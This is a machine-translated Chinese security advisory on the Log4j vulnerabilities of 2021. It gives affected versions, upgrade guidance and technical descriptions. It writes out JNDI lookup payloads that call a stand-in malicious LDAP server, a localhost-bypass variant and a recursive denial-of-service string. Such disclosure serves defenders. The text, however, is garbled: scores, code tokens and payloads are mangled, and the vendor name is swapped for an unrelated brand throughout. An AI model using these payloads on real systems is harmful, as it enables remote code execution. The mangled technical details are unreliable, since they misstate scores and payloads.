CyRC漏洞分析:Java日志库(log4j2)中的远程代码执行零天漏洞

新濠天地网络安全研究中心(CyRC)发布了相应的黑鸭®安全咨询(BDSA)。, 并给CVSS评分9分.4,带有概念验证利用的链接.


单击上面的视频查看Log4j漏洞的分析.

Log4j总结

在流行的Java日志库Log4j中发现了一个危险的零日漏洞.

Apache Log4j/Log4j2在Java社区中广泛用于实现应用程序日志. 因为Log4j是Java社区内事实上的标准, 很可能大多数Java应用程序都使用它作为日志接口.

The 新濠天地网络安全研究中心 (中心)已发出相应的 黑鸭®安全咨询 (BDSA)记录,并分配与概念证明利用链接CVSS分数. 此信息使用户能够快速识别暴露于此漏洞的位置,而无需重新扫描其应用程序. 这将简化分类、验证和补救工作.

最近Log4j漏洞的总结

CVE ID BDSA 描述 版本的影响 升级指导
cve - 2021 - 44832 bdsa - 2021 - 3887 Log4j容易通过恶意JDBC Appender配置远程代码执行(RCE) 2.0-beta7 2.17.0

(不包括2.3.2, 2.12.4)

2.17.1 -适用于Java 8或更高版本

2.12.4 -对于Java 7

2.3.2 - Java 6

cve - 2021 - 45105 bdsa - 2021 - 3817 Apache Log4j通过无限循环容易受到拒绝服务(DoS)的攻击 2.0-beta9 2.16.0

(不包括2.12.3)

2.17.0—适用于Java 8或更高版本

2.12.3 - Java 7

2.3.1- Java 6

 

cve - 2021 - 45046 bdsa - 2021 - 3779 Apache Log4j容易通过非默认模式布局进行远程代码执行(RCE) 2.0-beta9 2.15.0

(不包括2.12.2)

2.16—适用于Java 8及以上版本

2.12.2 - Java 7

2.3.1- Java 6

 

 

cve - 2021 - 44228 bdsa - 2021 - 3731 Apache Log4j容易受到远程代码执行(RCE)的攻击,这种远程代码执行是通过JNDI中的LDAP访问进行的,也容易受到专门编写的日志消息的攻击 2.0-beta9 2.14.1

 

2.16.0—适用于Java 8或更高版本

2.12.2 - Java 7

2.3.1 - Java 6

 

bdsa - 2021 - 3887:

Apache Log4j包含一个远程代码执行(RCE)漏洞. 这样,具有修改日志配置文件权限的攻击者就可以使用引用了JDNI URI的数据源输入恶意的JDBC Appender. 这可能导致RCE.

Note: 该漏洞影响log4j-core.

技术描述

RCE漏洞是由于JDBC Appender没有使用 JndiManager 访问JNDI资源时.

The createConnectionSource 方法 log4j-core / src / main / java / org/apache/logging/log4j/core/appender/db/jdbc/DataSourceConnectionSource.java 对给定的值执行查找 jndiName. 攻击者能够修改配置文件以包含 jdbcAppender 如果数据源中有一个JDNI URI,可以使用它来实现RCE.

这已经通过使用 JndiManager 在 createConnectionSource 方法 DataSourceConnectionSource.java 当使用JDNI数据源执行查找时.

bdsa - 2021 - 3817:

当通过自引用查找发生不受控制的递归时,Apache log4j很容易受到拒绝服务(DoS)的攻击. 攻击者可以使用恶意输入数据触发DoS,从而生成递归查找并导致应用程序崩溃.

成功的攻击需要攻击者能够访问线程上下文映射(MDC)输入, 而对于配置了带有上下文查找的非默认模式布局的log4j.

只有log4j-core JAR文件受此漏洞影响. 只使用log4j-api JAR文件而不使用log4j-core JAR文件的应用程序不受影响.

Apache Log4j是受此漏洞影响的唯一日志服务子项目. Log4net等其他项目不受影响.

技术描述

如果log4j配置了带有上下文查找的非默认模式布局,例如 美元$ {1}$ {}{ctx: loginId},控制了线程上下文映射(MDC)的攻击者可以触发DoS. 恶意负载的一个例子是 ${${::-${::-$${::-j}}}}. 当这样的有效负载被发送到Log4j时,变量被递归地展开. 缺少检查 log4j-core / src / main / java / org/apache/logging/log4j/core/查找/StrSubstitutor.java 导致一个无限循环,最终 StackOverflowError.

发生这种情况的原因是替换失败或展开变量导致 替代 方法 log4j-core / src / main / java / org/apache/logging/log4j/core/查找/StrSubstitutor.java 错误的电话 取代 同样的变量. 这是一个无限循环事件.

bdsa - 2021 - 3779:

Log4j容易受到RCE的攻击. 此漏洞是由于cve - 2021 - 44228的不完整修复而发现的. 在某些非默认log4j配置下, 攻击者有可能输入恶意的JNDI查找模式,这可能导致代码的执行.

成功的攻击需要攻击者能够访问Thread Context Map (MDC)输入和log4j,以使用启用消息查找的非默认模式布局.

只有log4j-core JAR文件受此漏洞影响. 仅使用log4j-api JAR文件而不使用log4j-core JAR文件的应用程序不受此漏洞的影响.

Note: 以前的缓解措施涉及设置系统属性等配置 log4j2.noFormatMsgLookup to true 没有减轻这个特定的漏洞吗. 这可能导致绕过cve - 2021 - 44228的缓解.

技术描述

如果将布局模式配置为使用,则可以使用远程代码执行(RCE) $ {ctx: foo} 查找和攻击者可以提供 ThreadContext (线程上下文映射(MDC))值. 有效负载,例如 $ {jndi: ldap: / / 127.0.0.1#bar.com: 1234 /} 将递归展开,从而导致攻击者控制的JNDI查找.

使用上面提到的有效负载,可以绕过以前Log4j JNDI LDAP本地主机查找的任何缓解或限制. 这是可能的,因为使用 getHost 方法 here 零件会在到货前归还吗 # (127.0.0.1)是允许的. 但是JNDI解析器将解析完整的主机名并尝试连接到LDAP服务器.

This 提交是先前版本中引入的缓解措施 2.15.0-rc1 并且不再被认为是对RCE的充分保护.

This 提交了 2.15.0-rc1 默认情况下禁用消息查找, 要使应用程序容易受到RCE消息查找的影响,必须启用. 但是,该提交的一部分使用了 try / catch 声明 查找 方法 log4j-core / src / main / java / org/apache/logging/log4j/core/net/JndiManager.java. 这是为了捕捉 URISyntaxException 异常. 如果抛出异常,该方法将不会返回 null 并将执行递归调用 查找. 这被披露为一个拒绝服务(DoS)漏洞. This 提交的版本 2.15.0-rc2 修改这个问题.

版本 2.15.1-rc1 默认情况下禁用JNDI查找 this commit. 但是,在这个版本中还没有删除消息查找.

通过删除对消息查找模式的支持并在默认情况下禁用JNDI功能,已经完全缓解了这个漏洞.

bdsa - 2021 - 3731: 

Apache Log4j, 在许多流行的服务中使用, 容易通过Java命名和目录接口(JNDI)不恰当地允许轻量级目录访问协议(LDAP)访问。. 如果远程攻击者能够向终端应用程序提供经过特殊设计的输入(然后由Log4j子组件处理),就可能导致任意Java代码的执行.

Note: 

  • Log4j-api包本身不包含易受攻击的功能,因此不受影响. Log4j-core包和上游总体源存储库会受到影响. 
  • 先前建议的设置环境变量的缓解 LOG4J_FORMAT_MSG_NO_LOOKUPS = true 不推荐. 事实证明,这种缓解措施不足以应对这一漏洞. 详见bdsa - 2021 - 3779 (cve - 2021 - 45046). 
技术描述 

这个问题是因为Log4j版本 2 以上将处理特别制作的输入表单 $ {jndi: ldap: / /恶意.服务器/} 并从远程攻击者控制的服务器查找和返回Java代码. 有几种利用特定Java代码路径/类来实现远程代码执行(RCE)的技术. 

这个问题在版本中部分修复 2.15.0-rc1 by this 提交和 this commit. 这个补丁和版本被认为是不充分的,并将进一步发布 2.15.0-rc2 with this 作出了承诺以纠正该问题. 

又发现一个漏洞(bdsa - 2021 - 3779, cve - 2021 - 45046),导致Log4j使用非默认模式布局时绕过这些修复. 即使有这些补丁和已知的解决方案,攻击者仍然可以实现RCE. 该问题已在版本中更正 2.16.0-rc1. 

新濠天地对此如何帮助

With 黑鸭软件组成分析 (SCA), 您的应用程序中使用的所有开放源码都已标识, 编目, 并持续监控新披露的漏洞. 应该发现漏洞吗, 新濠天地网站的安全研究团队正在进行汇编工作, 确认, 并在向所有受影响的客户发布安全建议之前补充任何相关信息. 这些建议包含了需要了解的细节, 优先考虑, 并修复应用程序上下文中的漏洞, 而且它们是在漏洞被揭露后的几个小时内发布的.

现在要采取的六个行动以及新濠天地如何提供帮助

检测Log4j (Log4Shell):减轻对组织的影响

最初发布于2021年12月10日,更新于2022年1月5日.

 
Jagat帕尔克

发布的

Jagat帕尔克

Jagat帕尔克

Jagat帕尔克是新濠天地软件完整性集团的工程总监. 他是建立最全面的开源组件数据库Black Duck KnowledgeBase™的工程团队的先锋, 脆弱性, 和许可证信息. 他与各种技术和业务团体接触,了解应用程序安全性如何随着不断扩大的攻击面和日益复杂的威胁而发展. 他擅长建立关键任务, 企业客户使用的可伸缩SaaS产品具有经过验证的正常运行时间跟踪记录,具有一致处理pb级数据的巨大容量. 拥有雪城大学计算机科学硕士学位, 哈佛大学文学硕士 & 15年以上的信息安全产品建设经验, 他具有独特的工程学结合, 管理及商业远景. 他管理着由50名软件工程师、架构师和经理组成的全球团队. 他开发的大量网络安全产品包括数据丢失预防(DLP), 脆弱性风险管理, 安全事故 & 事件管理(SIEM),治理风险 & (GRC). 在领导者的象限中,Gartner MQ和Forrester-wave都一致认为他们是行业领导者. 他对最近软件供应链攻击的激增和网络安全的整体状况非常感兴趣.


更多来自开源和软件供应链风险